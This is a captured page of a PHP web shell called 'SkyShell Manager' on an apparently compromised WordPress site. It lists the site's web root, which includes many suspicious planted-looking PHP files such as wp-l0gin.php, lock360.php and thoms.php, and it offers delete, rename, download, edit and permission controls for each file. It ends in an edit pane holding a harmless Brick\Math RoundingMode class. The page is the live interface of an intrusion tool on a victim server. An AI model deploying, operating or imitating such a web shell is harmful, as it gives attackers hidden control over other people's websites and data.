📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: RoundingMode.php
<?php declare(strict_types=1); namespace Brick\Math; /** * Specifies a rounding behavior for numerical operations capable of discarding precision. * * Each rounding mode indicates how the least significant returned digit of a rounded result * is to be calculated. If fewer digits are returned than the digits needed to represent the * exact numerical result, the discarded digits will be referred to as the discarded fraction * regardless the digits' contribution to the value of the number. In other words, considered * as a numerical value, the discarded fraction could have an absolute value greater than one. */ final class RoundingMode { /** * Private constructor. This class is not instantiable. * * @codeCoverageIgnore */ private function __construct() { } /** * Asserts that the requested operation has an exact result, hence no rounding is necessary. * * If this rounding mode is specified on an operation that yields a result that * cannot be represented at the requested scale, a RoundingNecessaryException is thrown. */ public const UNNECESSARY = 0; /** * Rounds away from zero. * * Always increments the digit prior to a nonzero discarded fraction. * Note that this rounding mode never decreases the magnitude of the calculated value. */ public const UP = 1; /** * Rounds towards zero. * * Never increments the digit prior to a discarded fraction (i.e., truncates). * Note that this rounding mode never increases the magnitude of the calculated value. */ public const DOWN = 2; /** * Rounds towards positive infinity. * * If the result is positive, behaves as for UP; if negative, behaves as for DOWN. * Note that this rounding mode never decreases the calculated value. */ public const CEILING = 3; /** * Rounds towards negative infinity. * * If the result is positive, behave as for DOWN; if negative, behave as for UP. * Note that this rounding mode never increases the calculated value. */ public const FLOOR = 4; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round up. * * Behaves as for UP if the discarded fraction is >= 0.5; otherwise, behaves as for DOWN. * Note that this is the rounding mode commonly taught at school. */ public const HALF_UP = 5; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round down. * * Behaves as for UP if the discarded fraction is > 0.5; otherwise, behaves as for DOWN. */ public const HALF_DOWN = 6; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round towards positive infinity. * * If the result is positive, behaves as for HALF_UP; if negative, behaves as for HALF_DOWN. */ public const HALF_CEILING = 7; /** * Rounds towards "nearest neighbor" unless both neighbors are equidistant, in which case round towards negative infinity. * * If the result is positive, behaves as for HALF_DOWN; if negative, behaves as for HALF_UP. */ public const HALF_FLOOR = 8; /** * Rounds towards the "nearest neighbor" unless both neighbors are equidistant, in which case rounds towards the even neighbor. * * Behaves as for HALF_UP if the digit to the left of the discarded fraction is odd; * behaves as for HALF_DOWN if it's even. * * Note that this is the rounding mode that statistically minimizes * cumulative error when applied repeatedly over a sequence of calculations. * It is sometimes known as "Banker's rounding", and is chiefly used in the USA. */ public const HALF_EVEN = 9; }
Save